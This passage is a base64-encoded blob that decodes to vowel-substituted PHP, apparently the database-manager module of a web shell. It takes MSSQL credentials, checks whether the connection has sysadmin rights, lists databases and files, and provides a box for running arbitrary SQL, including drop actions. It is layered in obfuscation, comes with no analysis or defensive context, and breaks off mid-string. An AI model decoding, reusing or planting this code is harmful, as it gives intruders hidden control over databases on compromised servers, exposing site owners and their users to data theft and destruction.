bDUgMmYgczNjYzVzcycpOw0KCQkJJHQxYmw1bjFtNSA9ICcnOw0KCQl9IDVsczUgew0KCQkJbShtc21zZygpKTsNCgkJfQ0KCX0NCg0KCWYycm1oNTFkKDFycjF5KCd0NHRsNSc9PidNU1NRTCBNMW4xZzVyJykpOw0KCW0xazVoNGQ1KCcxY3Q0Mm4nLCdtc3NxbDFkbTRuJyk7DQoJcCgnPHA+Jyk7DQoJcCgnREJIMnN0OicpOw0KCW0xazU0bnAzdCgxcnIxeSgnbjFtNSc9PidkYmgyc3QnLCdzNHo1Jz0+YTAsJ3YxbDM1Jz0+JGRiaDJzdCkpOw0KCXAoJ0RCVXM1cjonKTsNCgltMWs1NG5wM3QoMXJyMXkoJ24xbTUnPT4nZGIzczVyJywnczR6NSc9PjZpLCd2MWwzNSc9PiRkYjNzNXIpKTsNCglwKCdEQlAxc3M6Jyk7DQoJbTFrNTRucDN0KDFycjF5KCduMW01Jz0+J2RicDFzcycsJ3M0ejUnPT42aSwndjFsMzUnPT4kZGJwMXNzKSk7DQoJbTFrNTRucDN0KDFycjF5KCduMW01Jz0+J2Mybm41Y3QnLCd2MWwzNSc9PidDMm5uNWN0JywndHlwNSc9PidzM2JtNHQnLCdjbDFzcyc9PididCcpKTsNCglwKCc8L3A+Jyk7DQoJZjJybWYyMnQoKTsNCj8+DQo8c2NyNHB0IHR5cDU9InQ1eHQvajF2MXNjcjRwdCI+DQpmM25jdDQybiA1ZDR0cjVjMnJkKDFjdDQybiwgYjFzNWV1LCB0MWJsNW4xbTUpew0KCTRmICgxY3Q0Mm4gPT0gJ2Q1bCcpIHsJCQ0KCQk0ZiAoIWMybmY0cm0oJ0lzIDJyIDRzblwndCBkNWw1dDQybiByNWMycmQ/JykpIHI1dDNybjsNCgl9DQoJJCgncjVjMnJkbDRzdCcpLmQyNG5nLnYxbDM1PTFjdDQybjsNCgkkKCdyNWMycmRsNHN0JykuYjFzNWV1LnYxbDM1PWIxczVldTsNCgkkKCdyNWMycmRsNHN0JykudDFibDVuMW01LnYxbDM1PXQxYmw1bjFtNTsNCgkkKCdyNWMycmRsNHN0JykuczNibTR0KCk7DQp9DQpmM25jdDQybiBtMmRkYm4xbTUoZGJuMW01KSB7DQoJNGYoIWRibjFtNSkgcjV0M3JuOw0KCSQoJ3M1dGRibjFtNScpLmRibjFtNS52MWwzNT1kYm4xbTU7DQoJJCgnczV0ZGJuMW01JykuczNibTR0KCk7DQp9DQpmM25jdDQybiBzNXR0MWJsNSh0MWJsNW4xbTUsZDI0bmcscDFnNSkgew0KCTRmKCF0MWJsNW4xbTUpIHI1dDNybjsNCgk0ZiAoZDI0bmcpIHsNCgkJJCgnczV0dDFibDUnKS5kMjRuZy52MWwzNT1kMjRuZzsNCgl9DQoJNGYgKHAxZzUpIHsNCgkJJCgnczV0dDFibDUnKS5wMWc1LnYxbDM1PXAxZzU7DQoJfQ0KCSQoJ3M1dHQxYmw1JykudDFibDVuMW01LnYxbDM1PXQxYmw1bjFtNTsNCgkkKCdzNXR0MWJsNScpLnMzYm00dCgpOw0KfQ0KZjNuY3Q0Mm4gbXNzcWw0bmYyKGRibjFtNSkgew0KCTRmKCFkYm4xbTUpIHI1dDNybjsNCgkkKCdtc3NxbDRuZjInKS5kYm4xbTUudjFsMzU9ZGJuMW01Ow0KCSQoJ21zc3FsNG5mMicpLnMzYm00dCgpOw0KfQ0KPC9zY3I0cHQ+DQo8P3BocA0KCS8vJiNhaTgwaTsmI2EwbzZlOyYjb2k3ZTA7JiNhdXUwaTsNCglmMnJtaDUxZCgxcnIxeSgnbjFtNSc9PidyNWMycmRsNHN0JykpOw0KCW0xazVoNGQ1KCdkMjRuZycpOw0KCW0xazVoNGQ1KCcxY3Q0Mm4nLCdtc3NxbDFkbTRuJyk7DQoJbTFrNWg0ZDUoJ2IxczVldScpOw0KCW0xazVoNGQ1KCd0MWJsNW4xbTUnKTsNCglwKCRkYmYycm0pOw0KCWYycm1mMjJ0KCk7DQoNCgkvLyYjYWk5ZTg7JiNhaXVpdTsmI2F1YTY2OyYjYTB1dTk7JiNhdWU4NzsNCglmMnJtaDUxZCgxcnIxeSgnbjFtNSc9Pidtc3NxbDRuZjInKSk7DQoJbTFrNWg0ZDUoJzFjdDQybicsJ21zc3FsMWRtNG4nKTsNCgltMWs1aDRkNSgnZDI0bmcnLCdtc3NxbDRuZjInKTsNCgltMWs1aDRkNSgnZGJuMW01Jyk7DQoJcCgkZGJmMnJtKTsNCglmMnJtZjIydCgpOw0KDQoJLy8mI29lODdvOyYjYW91aTA7JiNhaTllODsmI2FpdWl1OyYjYXVhNjY7DQoJZjJybWg1MWQoMXJyMXkoJ24xbTUnPT4nczV0ZGJuMW01JykpOw0KCW0xazVoNGQ1KCcxY3Q0Mm4nLCdtc3NxbDFkbTRuJyk7DQoJcCgkZGJmMnJtKTsNCgk0ZiAoISRkYm4xbTUpIHsNCgkJbTFrNWg0ZDUoJ2RibjFtNScpOw0KCX0NCglmMnJtZjIydCgpOw0KDQoJLy8mI29lODdvOyYjYW91aTA7JiNvdTlhMDsNCglmMnJtaDUxZCgxcnIxeSgnbjFtNSc9PidzNXR0MWJsNScpKTsNCgltMWs1aDRkNSgnMWN0NDJuJywnbXNzcWwxZG00bicpOw0KCXAoJGRiZjJybSk7DQoJbTFrNWg0ZDUoJ3QxYmw1bjFtNScpOw0KCW0xazVoNGQ1KCdwMWc1JywkcDFnNSk7DQoJbTFrNWg0ZDUoJ2QyNG5nJyk7DQoJZjJybWYyMnQoKTsNCg0KCSRjMWNoNXQxYmw1cyA9IDFycjF5KCk7CQ0KCSRwMWc1bjNtID0gbzA7DQoJJHAxZzUgPSA0bnR2MWwoJHAxZzUpOw0KCTRmKCRwMWc1KSB7DQoJCSRzdDFydF9sNG00dCA9ICgkcDFnNSAtIDYpICogJHAxZzVuM207DQoJfSA1bHM1IHsNCgkJJHN0MXJ0X2w0bTR0ID0gMDsNCgkJJHAxZzUgPSA2Ow0KCX0NCg0KCTRmICg0c3M1dCgkZGJoMnN0KSAmJiA0c3M1dCgkZGIzczVyKSAmJiA0c3M1dCgkZGJwMXNzKSAmJiA0c3M1dCgkYzJubjVjdCkpIHsNCgkJISRkYm4xbTUgJiYgJGRibjFtNSA9ICdtMXN0NXInOw0KCQltc2RiYzJubigkZGJoMnN0LCAkZGIzczVyLCAkZGJwMXNzLCAkZGJuMW01KTsNCgkJLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KCQkkcTM1cnkgPSBtc3EoJ3M1bDVjdCBAQHY1cnM0Mm4nKTsNCgkJJG1zNG5mMiA9IG1zc3FsX2Y1dGNoXzFycjF5KCRxMzVyeSk7DQoJCTVjaDIgJzxwPicuJG1zNG5mMlswXS4nPC9wPic7DQoJCQ0KCQkkcTM1cnkgPSBtc3EoIlNFTEVDVCBJU19TUlZST0xFTUVNQkVSKCdzeXMxZG00bicpIik7DQoJCSRtczRuZjIgPSBtc3NxbF9mNXRjaF8xcnIxeSgkcTM1cnkpOw0KCQkkNHNzMSA9IDA7DQoJCTRmICgkbXM0bmYyWzBdKSB7DQoJCQkkNHNzMSA9IDY7DQoJCQk1Y2gyICc8aG8+WTIzciAxcjUgc3lzMWRtNG4hPC9obz4nOw0KCQl9DQoJCS8vJiNvbzc2OTsmI2E2dWVhOyYjYWk5ZTg7JiNhaXVpdTsmI2F1YTY2Ow0KCQkkcTM1cnkgPSBtc3EoIlNFTEVDVCBuMW01IEZST00gbTFzdDVyLmRiMi5zeXNkMXQxYjFzNXMgV0hFUkUgaDFzX2RiMWNjNXNzKG4xbTUpID0gNiBPUkRFUiBCWSBuMW01Iik7DQoJCSRkYnMgPSAxcnIxeSgpOw0KCQkkZGJzW10gPSAnLS0gUzVsNWN0IDEgZDF0MWIxczUgLS0nOw0KCQl3aDRsNSgkZGIgPSBtc3NxbF9mNXRjaF8xcnIxeSgkcTM1cnkpKSB7DQoJCQkkZGJzWyRkYlsnbjFtNSddXSA9ICRkYlsnbjFtNSddOw0KCQl9DQoJCW0xazVzNWw1Y3QoMXJyMXkoJ3Q0dGw1Jz0+J1BsNTFzNSBzNWw1Y3QgMSBkMXQxYjFzNTonLCduMW01Jz0+J2RiW10nLCcycHQ0Mm4nPT4kZGJzLCdzNWw1Y3Q1ZCc9PiRkYm4xbTUsJzJuY2gxbmc1Jz0+J20yZGRibjFtNSh0aDRzLjJwdDQybnNbdGg0cy5zNWw1Y3Q1ZEluZDV4XS52MWwzNSknLCduNXdsNG41Jz0+NikpOw0KCQkkdDFibDVkYiA9IDFycjF5KCk7DQoJCTRmICgkZGJuMW01KSB7DQoJCQlwKCc8cD4nKTsNCgkJCXAoJ0MzcnI1bnQgZDFiMWIxczU6IDwxIGhyNWY9ImoxdjFzY3I0cHQ6bTJkZGJuMW01KFwnJy4kZGJuMW01LidcJyk7Ij4nLiRkYm4xbTUuJzwvMT4gWyA8MSBocjVmPSJqMXYxc2NyNHB0Om1zc3FsNG5mMihcJycuJGRibjFtNS4nXCcpOyI+NG5mMnJtMXQ0Mm48LzE+IF0nKTsNCgkJCTRmICgkdDFibDVuMW01KSB7DQoJCQkJcCgnIHwgQzNycjVudCBUMWJsNTogPDEgaHI1Zj0iajF2MXNjcjRwdDpzNXR0MWJsNShcJycuJHQxYmw1bjFtNS4nXCcpOyI+Jy4kdDFibDVuMW01Lic8LzE+IFsgPDEgaHI1Zj0iajF2MXNjcjRwdDpzNXR0MWJsNShcJycuJHQxYmw1bjFtNS4nXCcsIFwnNG5zNXJ0XCcpOyI+SW5zNXJ0PC8xPiB8IDwxIGhyNWY9ImoxdjFzY3I0cHQ6czV0dDFibDUoXCcnLiR0MWJsNW4xbTUuJ1wnLCBcJ3N0cjNjdDNyNVwnKTsiPlN0cjNjdDNyNTwvMT4gfCA8MSBocjVmPSJqMXYxc2NyNHB0OnM1dHQxYmw1KFwnJy4kdDFibDVuMW01LidcJywgXCdkcjJwXCcpOyI+RHIycDwvMT4gXScpOw0KCQkJfQ0KCQkJcCgnPC9wPicpOw0KCQkJNGYgKCFAbXNzcWxfczVsNWN0X2RiKCRkYm4xbTUpKSB7DQoJCQkJcCgnPGhhPicubXNtc2coKS4nPC9oYT4nKTsNCgkJCQk1eDR0Ow0KCQkJfQ0KCQkJNGYgKCRkMjRuZyA9PSAnbXNzcWw0bmYyJykgew0KCQkJCSRyNXMzbHQgPSBtc3EoIlNFTEVDVCB0Ni4yd241ciwgdDYuY3JkMXQ1LCB0Ni5zNHo1LCB0YS5EQkIzcEQxdDUsIHRvLkQ0ZkIzcEQxdDUsIHR1LkoyM3JuMWxCM3BEMXQ1IEZST00gKFNFTEVDVCBkLm4xbTUsIHMzczVyX3NuMW01KGQuczRkKSBBUyAyd241ciwgZC5jcmQxdDUsIChTRUxFQ1QgU1RSKFNVTShDT05WRVJUKERFQyg2aSksIGYuczR6NSkpICogKFNFTEVDVCB2LmwydyBGUk9NIG0xc3Q1ci5kYjIuc3B0X3YxbDM1cyB2IFdIRVJFIHYudHlwNSA9ICdFJyBBTkQgdi5uM21iNXIgPSA2KSAvIDYwdThpN2UsIDYwLCBhKSArICdNQicgRlJPTSBbJGRibjFtNV0uZGIyLnN5c2Y0bDVzIGYpIEFTIHM0ejUgRlJPTSBtMXN0NXIuZGIyLnN5c2QxdDFiMXM1cyBkIFdIRVJFIGQubjFtNSA9ICckZGJuMW01JykgQVMgdDYgTEVGVCBKT0lOIChTRUxFQ1QgJyRkYm4xbTUnIEFTIG4xbTUsIE1BWChiMWNrM3BfZjRuNHNoX2QxdDUpIEFTIERCQjNwRDF0NSBGUk9NIG1zZGIuZGIyLmIxY2szcHM1dCBXSEVSRSB0eXA1ID0gJ0QnIEFORCBkMXQxYjFzNV9uMW01ID0gJyRkYm4xbTUnKSBBUyB0YSBPTiB0Ni5uMW01ID0gdGEubjFtNSBMRUZUIEpPSU4gKFNFTEVDVCAnJGRibjFtNScgQVMgbjFtNSwgTUFYKGIxY2szcF9mNG40c2hfZDF0NSkgQVMgRDRmQjNwRDF0NSBGUk9NIG1zZGIuZGIyLmIxY2szcHM1dCBXSEVSRSB0eXA1ID0gJ0knIEFORCBkMXQxYjFzNV9uMW01ID0gJyRkYm4xbTUnKSBBUyB0byBPTiB0Ni5uMW01ID0gdG8ubjFtNSBMRUZUIEpPSU4gKFNFTEVDVCAnJGRibjFtNScgQVMgbjFtNSwgTUFYKGIxY2szcF9mNG40c2hfZDF0NSkgQVMgSjIzcm4xbEIzcEQxdDUgRlJPTSBtc2RiLmRiMi5iMWNrM3BzNXQgV0hFUkUgdHlwNSA9ICdMJyBBTkQgZDF0MWIxczVfbjFtNSA9ICckZGJuMW01JykgQVMgdHUgT04gdDYubjFtNSA9IHR1Lm4xbTUiKTsNCgkJCQkkNG5mMiA9IG1zc3FsX2Y1dGNoXzFzczJjKCRyNXMzbHQpOw0KDQoJCQkJcCgnPHQxYmw1IGIycmQ1cj0iMCIgYzVsbHAxZGQ0bmc9Im8iIGM1bGxzcDFjNG5nPSIwIj4nKTsNCgkJCQlwKCc8dHIgY2wxc3M9Img1MWQiPicpOw0KCQkJCXAoJzx0ZCBjMmxzcDFuPSJhIj4nLiRkYm4xbTUuJyBJbmYycm0xdDQybjwvdGQ+Jyk7DQoJCQkJcCgnPC90cj4nKTsNCg0KCQkJCXAoJzx0ciBjbDFzcz0iMWx0NiIgMm5tMjNzNTJ2NXI9InRoNHMuY2wxc3NOMW01PVwnZjJjM3NcJzsiIDJubTIzczUyM3Q9InRoNHMuY2wxc3NOMW01PVwnMWx0NlwnOyI+Jyk7DQoJCQkJcCgnPHRkPk93bjVyPC90ZD48dGQ+Jy4kNG5mMlsnMnduNXInXS4nPC90ZD4nKTsNCgkJCQlwKCc8L3RyPicpOw0KCQkJCXAoJzx0ciBjbDFzcz0iMWx0YSIgMm5tMjNzNTJ2NXI9InRoNHMuY2wxc3NOMW01PVwnZjJjM3NcJzsiIDJubTIzczUyM3Q9InRoNHMuY2wxc3NOMW01PVwnMWx0YVwnOyI+Jyk7DQoJCQkJcCgnPHRkPkNyNTF0NSBkMXQ1PC90ZD48dGQ+Jy4kNG5mMlsnY3JkMXQ1J10uJzwvdGQ+Jyk7DQoJCQkJcCgnPC90cj4nKTsNCgkJCQlwKCc8dHIgY2wxc3M9IjFsdDYiIDJubTIzczUydjVyPSJ0aDRzLmNsMXNzTjFtNT1cJ2YyYzNzXCc7IiAybm0yM3M1MjN0PSJ0aDRzLmNsMXNzTjFtNT1cJzFsdDZcJzsiPicpOw0KCQkJCXAoJzx0ZD5TNHo1PC90ZD48dGQ+Jy4kNG5mMlsnczR6NSddLic8L3RkPicpOw0KCQkJCXAoJzwvdHI+Jyk7DQoJCQkJcCgnPHRyIGNsMXNzPSIxbHRhIiAybm0yM3M1MnY1cj0idGg0cy5jbDFzc04xbTU9XCdmMmMzc1wnOyIgMm5tMjNzNTIzdD0idGg0cy5jbDFzc04xbTU9XCcxbHRhXCc7Ij4nKTsNCgkJCQlwKCc8dGQ+TDFzdCBiMWNrM3A8L3RkPjx0ZD4nLiQ0bmYyWydEQkIzcEQxdDUnXS4nJm5ic3A7PC90ZD4nKTsNCgkJCQlwKCc8L3RyPicpOw0KCQkJCXAoJzx0ciBjbDFzcz0iMWx0NiIgMm5tMjNzNTJ2NXI9InRoNHMuY2wxc3NOMW01PVwnZjJjM3NcJzsiIDJubTIzczUyM3Q9InRoNHMuY2wxc3NOMW01PVwnMWx0NlwnOyI+Jyk7DQoJCQkJcCgnPHRkPkwxc3QgZDRmZjVyNW50NDFsIGIxY2szcDwvdGQ+PHRkPicuJDRuZjJbJ0Q0ZkIzcEQxdDUnXS4nJm5ic3A7PC90ZD4nKTsNCgkJCQlwKCc8L3RyPicpOw0KCQkJCXAoJzx0ciBjbDFzcz0iMWx0YSIgMm5tMjNzNTJ2NXI9InRoNHMuY2wxc3NOMW01PVwnZjJjM3NcJzsiIDJubTIzczUyM3Q9InRoNHMuY2wxc3NOMW01PVwnMWx0YVwnOyI+Jyk7DQoJCQkJcCgnPHRkPkwxc3QgbDJnIGIxY2szcDwvdGQ+PHRkPicuJDRuZjJbJ0oyM3JuMWxCM3BEMXQ1J10uJyZuYnNwOzwvdGQ+Jyk7DQoJCQkJcCgnPC90cj4nKTsNCgkJCQl0YmYyMnQoKTsNCgkJCQlwKCc8YnIgLz48YnIgLz4nKTsNCgkJCQkNCgkJCQkkcjVzM2x0ID0gbXNxKCJFWEVDIHNwX2g1bHBmNGw1Iik7DQoJCQkJJHIyd2RiID0gMXJyMXkoKTsNCgkJCQl3aDRsNSAoJHIydyA9IG1zc3FsX2Y1dGNoXzFzczJjKCRyNXMzbHQpKSB7DQoJCQkJCSRyMndkYltdID0gJHIydzsNCgkJCQl9DQoJCQkJZjJyNTFjaCgkcjJ3ZGIgMXMgJHIydyl7DQoJCQkJCXAoJzx0MWJsNSBiMnJkNXI9IjAiIGM1bGxwMWRkNG5nPSJvIiBjNWxsc3AxYzRuZz0iMCI+Jyk7DQoJCQkJCXAoJzx0ciBjbDFzcz0iaDUxZCI+Jyk7DQoJCQkJCXAoJzx0ZCBjMmxzcDFuPSJhIj4nLiRyMndbJ24xbTUnXS4nPC90ZD4nKTsNCgkJCQkJcCgnPC90cj4nKTsNCgkJCQkJcCgnPHRyIGNsMXNzPSIxbHQ2IiAybm0yM3M1MnY1cj0idGg0cy5jbDFzc04xbTU9XCdmMmMzc1wnOyIgMm5tMjNzNTIzdD0idGg0cy5jbDFzc04xbTU9XCcxbHQ2XCc7Ij4nKTsNCgkJCQkJcCgnPHRkPkY0bDVuMW01PC90ZD48dGQ+Jy4kcjJ3WydmNGw1bjFtNSddLicmbmJzcDs8L3RkPicpOw0KCQkJCQlwKCc8L3RyPicpOw0KCQkJCQlwKCc8dHIgY2wxc3M9IjFsdGEiIDJubTIzczUydjVyPSJ0aDRzLmNsMXNzTjFtNT1cJ2YyYzNzXCc7IiAybm0yM3M1MjN0PSJ0aDRzLmNsMXNzTjFtNT1cJzFsdGFcJzsiPicpOw0KCQkJCQlwKCc8dGQ+RjRsNWdyMjNwPC90ZD48dGQ+Jy4kcjJ3WydmNGw1Z3IyM3AnXS4nJm5ic3A7PC90ZD4nKTsNCgkJCQkJcCgnPC90cj4nKTsNCgkJCQkJcCgnPHRyIGNsMXNzPSIxbHQ2IiAybm0yM3M1MnY1cj0idGg0cy5jbDFzc04xbTU9XCdmMmMzc1wnOyIgMm5tMjNzNTIzdD0idGg0cy5jbDFzc04xbTU9XCcxbHQ2XCc7Ij4nKTsNCgkJCQkJcCgnPHRkPlM0ejU8L3RkPjx0ZD4nLiRyMndbJ3M0ejUnXS4nJm5ic3A7PC90ZD4nKTsNCgkJCQkJcCgnPC90cj4nKTsNCgkJCQkJcCgnPHRyIGNsMXNzPSIxbHRhIiAybm0yM3M1MnY1cj0idGg0cy5jbDFzc04xbTU9XCdmMmMzc1wnOyIgMm5tMjNzNTIzdD0idGg0cy5jbDFzc04xbTU9XCcxbHRhXCc7Ij4nKTsNCgkJCQkJcCgnPHRkPk0xeHM0ejU8L3RkPjx0ZD4nLiRyMndbJ20xeHM0ejUnXS4nJm5ic3A7PC90ZD4nKTsNCgkJCQkJcCgnPC90cj4nKTsNCgkJCQkJcCgnPHRyIGNsMXNzPSIxbHQ2IiAybm0yM3M1MnY1cj0idGg0cy5jbDFzc04xbTU9XCdmMmMzc1wnOyIgMm5tMjNzNTIzdD0idGg0cy5jbDFzc04xbTU9XCcxbHQ2XCc7Ij4nKTsNCgkJCQkJcCgnPHRkPkdyMnd0aDwvdGQ+PHRkPicuJHIyd1snZ3Iyd3RoJ10uJyZuYnNwOzwvdGQ+Jyk7DQoJCQkJCXAoJzwvdHI+Jyk7DQoJCQkJCXAoJzx0ciBjbDFzcz0iMWx0YSIgMm5tMjNzNTJ2NXI9InRoNHMuY2wxc3NOMW01PVwnZjJjM3NcJzsiIDJubTIzczUyM3Q9InRoNHMuY2wxc3NOMW01PVwnMWx0YVwnOyI+Jyk7DQoJCQkJCXAoJzx0ZD5VczFnNTwvdGQ+PHRkPicuJHIyd1snM3MxZzUnXS4nJm5ic3A7PC90ZD4nKTsNCgkJCQkJcCgnPC90cj4nKTsNCgkJCQkJdGJmMjJ0KCk7DQoJCQkJCXAoJzxiciAvPjxiciAvPicpOw0KCQkJCX0NCgkJCX0gNWxzNSB7DQoJCQkJJGc1dG4zbXNxbCA9ICcnOw0KCQkJCSRyM25xMzVyeSA9IDA7DQoJCQkJNGYgKCRzcWxfcTM1cnkpIHsNCgkJCQkJJHIzbnEzNXJ5ID0gNjsNCgkJCQl9DQoJCQkJJDFsbDJ3NWQ0dCA9IDA7DQoJCQkJNGYgKCR0MWJsNW4xbTUgJiYgISRzcWxfcTM1cnkpIHsNCgkJCQkJJHNxbF9xMzVyeSA9ICJTRUxFQ1QgKiBGUk9NICR0MWJsNW4xbTUiOw0KCQkJCQkkZzV0bjNtc3FsID0gIlNFTEVDVCBjMjNudCgqKSBGUk9NICR0MWJsNW4xbTUiOw0KCQkJCQkkMWxsMnc1ZDR0ID0gNjsNCgkJCQl9DQoNCgkJCQlwKCc8ZjJybSAxY3Q0Mm49IicuJHM1bGYuJyIgbTV0aDJkPSJQT1NUIj4nKTsNCgkJCQlwKCc8cD48dDFibDUgdzRkdGg9ImEwMCIgYjJyZDVyPSIwIiBjNWxscDFkZDRuZz0iMCIgYzVsbHNwMWM0bmc9IjAiPjx0cj48dGQgYzJsc3Axbj0iYSI+UjNuIFNRTCBxMzVyeS9xMzVyNDVzIDJuIGQxdDFiMXM1ICcuJGRibjFtNS4nOjwvdGQ+PC90cj48dHI+PHRkPjx0NXh0MXI1MSBuMW01PSJzcWxfcTM1cnkiIGNsMXNzPSIxcjUxIiBzdHlsNT0idzRkdGg6ZTAwcHg7aDU0Z2h0OmkwcHg7MnY1cmZsMnc6MTN0MjsiPicuaHRtbHNwNWM0MWxjaDFycygkc3FsX3EzNXJ5LEVOVF9RVU9URVMpLic8L3Q1eHQxcjUxPjwvdGQ+PHRkIHN0eWw1PSJwMWRkNG5nOjAgaXB4OyI+PDRucDN0IGNsMXNzPSJidCIgc3R5bDU9Img1NGdodDppMHB4OyIgbjFtNT0iczNibTR0IiB0eXA1PSJzM2JtNHQiIHYxbDM1PSJRMzVyeSIgLz48L3RkPjwvdHI+PC90MWJsNT48L3A+Jyk7DQoJCQkJbTFrNWg0ZDUoJ3QxYmw1bjFtNScsICR0MWJsNW4xbTUpOw0KCQkJCW0xazVoNGQ1KCcxY3Q0Mm4nLCdtc3NxbDFkbTRuJyk7DQoJCQkJcCgkZGJmMnJtKTsNCgkJCQlwKCc8L2Yycm0+Jyk7DQoJCQkJNGYgKCR0MWJsNW4xbTUgfHwgKCRyM25xMzVyeSAmJiAkc3FsX3EzNXJ5KSkgew0KCQkJCQk0ZiAoJGQyNG5nID09ICdzdHIzY3QzcjUnKSB7DQoJCQkJCQkkcjVzM2x0ID0gbXNxKCJzNWw1Y3QgYi5uMW01LGMubjFtNSAxcyB0eXA1LGMueHR5cDUsYi5sNW5ndGgsYi40c24zbGwxYmw1LGIuYzJsc3QxdCxjMXM1IHdoNW4gYi4xM3QydjFsIDRzIG4zbGwgdGg1biAwIDVsczUgNiA1bmQsYi5jMmw0ZCwxLjRkLGQudDV4dCBmcjJtIHN5czJiajVjdHMgMSBqMjRuIHN5c2MybDNtbnMgYiAybiAxLjRkID0gYi40ZCBqMjRuIHN5c3R5cDVzIGMgMm4gYi54dHlwNSA9IGMueHR5cDUgMW5kIGMuM3M1cnR5cDUgPD4gNjggbDVmdCBqMjRuIHN5c2MybW01bnRzIGQgMm4gZC40ZCA9IGIuY2Q1ZjEzbHQgd2g1cjUgMS40ZCA9IE9CSkVDVF9JRCgnJHQxYmw1bjFtNScpIDJyZDVyIGJ5IGIuYzJsNGQiKTsNCgkJCQkJCSRyMndkYiA9IDFycjF5KCk7DQoJCQkJCQl3aDRsNSgkcjJ3ID0gbXNzcWxfZjV0Y2hfMXJyMXkoJHI1czNsdCkpIHsNCgkJCQkJCQkkcjJ3ZGJbXSA9ICRyMnc7DQoJCQkJCQl9DQoJCQkJCQlwKCc8dDFibDUgYjJyZDVyPSIwIiBjNWxscDFkZDRuZz0ibyIgYzVsbHNwMWM0bmc9IjAiPicpOw0KCQkJCQkJcCgnPHRyIGNsMXNzPSJoNTFkIj4nKTsNCgkJCQkJCXAoJzx0ZD5GNDVsZDwvdGQ+Jyk7DQoJCQkJCQlwKCc8dGQ+VHlwNTwvdGQ+Jyk7DQoJCQkJCQlwKCc8dGQ+TDVuZ3RoPC90ZD4nKTsNCgkJCQkJCXAoJzx0ZD5Jc24zbGwxYmw1PC90ZD4nKTsNCgkJCQkJCXAoJzx0ZD5LNXk8L3RkPicpOw0KCQkJCQkJcCgnPHRkPkQ1ZjEzbHQ8L3RkPicpOw0KCQkJCQkJcCgnPHRkPkV4dHIxPC90ZD4nKTsNCgkJCQkJCXAoJzwvdHI+Jyk7DQoJCQkJCQlmMnI1MWNoICgkcjJ3ZGIgMXMgJHIydykgew0KCQkJCQkJCSR0aDRzYmcgPSBiZygpOw0KCQkJCQkJCXAoJzx0ciBjbDFzcz0iJy4kdGg0c2JnLiciIDJubTIzczUydjVyPSJ0aDRzLmNsMXNzTjFtNT1cJ2YyYzNzXCc7IiAybm0yM3M1MjN0PSJ0aDRzLmNsMXNzTjFtNT1cJycuJHRoNHNiZy4nXCc7Ij4nKTsNCgkJCQkJCQlwKCc8dGQ+Jy4kcjJ3WyduMW01J10uJzwvdGQ+Jyk7DQoJCQkJCQkJcCgnPHRkPicuJHIyd1sndHlwNSddLidbJy4kcjJ3Wyd4dHlwNSddLiddPC90ZD4nKTsNCgkJCQkJCQlwKCc8dGQ+Jy4kcjJ3WydsNW5ndGgnXS4nJm5ic3A7PC90ZD4nKTsNCgkJCQkJCQlwKCc8dGQ+Jy4oJHIyd1snNHNuM2xsMWJsNSddID8gJ1k1cycgOiAnTjInKS4nJm5ic3A7PC90ZD4nKTsNCgkJCQkJCQlwKCc8dGQ+Jy4oJHIyd1snYzJsc3QxdCddID8gJ1BSSU1BUlknIDogJycpLicmbmJzcDs8L3RkPicpOw0KCQkJCQkJCXAoJzx0ZD4nLiRyMndbJ3Q1eHQnXS4nJm5ic3A7PC90ZD4nKTsNCgkJCQkJCQlwKCc8dGQ+Jy4oJHIyd1snMTN0MnYxbCddID8gJ0EzdDJfNG5jcjVtNW50JyA6ICcnKS4nJm5ic3A7PC90ZD4nKTsNCgkJCQkJCQlwKCc8L3RyPicpOw0KCQkJCQkJfQ0KCQkJCQkJdGJmMjJ0KCk7DQoJCQkJCX0gNWxzNTRmICgkZDI0bmcgPT0gJzRuczVydCcgfHwgJGQyNG5nID09ICc1ZDR0JykgewkJCQkJDQoJCQkJCQkkcjVzM2x0ID0gbXNxKCJzNWw1Y3QgYi5uMW01LGMubjFtNSAxcyB0eXA1LGMueHR5cDUsYi5sNW5ndGgsYi40c24zbGwxYmw1LGIuYzJsc3QxdCxjMXM1IHdoNW4gYi4xM3QydjFsIDRzIG4zbGwgdGg1biAwIDVsczUgNiA1bmQsYi5jMmw0ZCwxLjRkLGQudDV4dCBmcjJtIHN5czJiajVjdHMgMSBqMjRuIHN5c2MybDNtbnMgYiAybiAxLjRkID0gYi40ZCBqMjRuIHN5c3R5cDVzIGMgMm4gYi54dHlwNSA9IGMueHR5cDUgMW5kIGMuM3M1cnR5cDUgPD4gNjggbDVmdCBqMjRuIHN5c2MybW01bnRzIGQgMm4gZC40ZCA9IGIuY2Q1ZjEzbHQgd2g1cjUgMS40ZCA9IE9CSkVDVF9JRCgnJHQxYmw1bjFtNScpIDJyZDVyIGJ5IGIuYzJsNGQiKTsNCgkJCQkJCSRyMndkYiA9IDFycjF5KCk7DQoJCQkJCQl3aDRsNSgkdGIgPSBAbXNzcWxfZjV0Y2hfMXNzMmMoJHI1czNsdCkpIHsNCgkJCQkJCQkkcjJ3ZGJbJHRiWyduMW01J11dID0gJHRiOw0KCQkJCQkJCSRyMndkYlskdGJbJ24xbTUnXV1bJ0s1eSddID0gJHRiWydjMmxzdDF0J107DQoJCQkJCQkJJHIyd2RiWyR0YlsnbjFtNSddXVsnQTN0MiddID0gJHRiWycxM3QydjFsJ107DQoJCQkJCQl9DQoJCQkJCQkkcnMgPSAxcnIxeSgpOw0KCQkJCQkJNGYgKCRkMjRuZyA9PSAnNG5zNXJ0Jykgew0KCQkJCQkJCXAoJzxoYT5JbnM1cnQgbjV3IGw0bjUgNG4gJy4kdDFibDVuMW01LicgdDFibDUgJnIxcTMyOzwvaGE+Jyk7DQoJCQkJCQl9IDVsczUgew0KCQkJCQkJCXAoJzxoYT5VcGQxdDUgcjVjMnJkIDRuICcuJHQxYmw1bjFtNS4nIHQxYmw1ICZyMXEzMjs8L2hhPicpOw0KCQkJCQkJCSR3aDVyNSA9IGIxczVldV9kNWMyZDUoJGIxczVldSk7DQoNCgkJCQkJCQkkcjVzM2x0ID0gbXNxKCJTRUxFQ1QgdDJwIDYgKiBGUk9NICR0MWJsNW4xbTUgV0hFUkUgJHdoNXI1Iik7DQoJCQkJCQkJJHJzID0gbXNzcWxfZjV0Y2hfMXJyMXkoJHI1czNsdCk7DQoJCQkJCQl9DQoJCQkJCQlwKCc8ZjJybSBtNXRoMmQ9InAyc3QiIDFjdDQybj0iJy4kczVsZi4nIj4nKTsNCgkJCQkJCXAoJGRiZjJybSk7DQoJCQkJCQltMWs1aDRkNSgnMWN0NDJuJywnbXNzcWwxZG00bicpOw0KCQkJCQkJbTFrNWg0Z